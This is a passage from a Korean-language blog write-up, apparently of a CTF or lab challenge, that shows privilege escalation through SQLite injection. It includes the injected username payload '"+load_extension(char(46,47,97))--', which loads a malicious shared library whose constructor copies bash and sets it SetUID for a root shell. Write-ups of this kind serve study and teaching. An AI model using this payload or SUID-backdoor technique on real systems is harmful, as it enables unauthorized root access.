Activating account for user '"+load_extension(char(46,47,112,119,11'...
Error: unrecognized token: "";"

이후 최대한 라이브러리 파일명을 줄여 최대한 라이브러리 이름을 줄여서 pwn.so 파일을 a 로 파일명을 변경했고 다음과 같이 시도했더니 정상적으로 로드가 된것같다.

1
2
3
4
Select option: 5
Enter username to activate account: \"+load_extension(char(46,47,97))--;
Activating account for user '"+load_extension(char(46,47,97))--'...
Error: ./a: undefined symbol: sqlite3_a_init

로드한 라이브러리의 ELF 생성자 함수가 실행되면서 root 계정의 권한으로 /bin/bash/tmp/bash로 복사하고 해당 파일에 SetUID를 부여하는 코드까지 실행되어 /tmp/bash -p 명령을 통해 권한 상승에 성공했다.

This post is licensed under CC BY 4.0 by the author.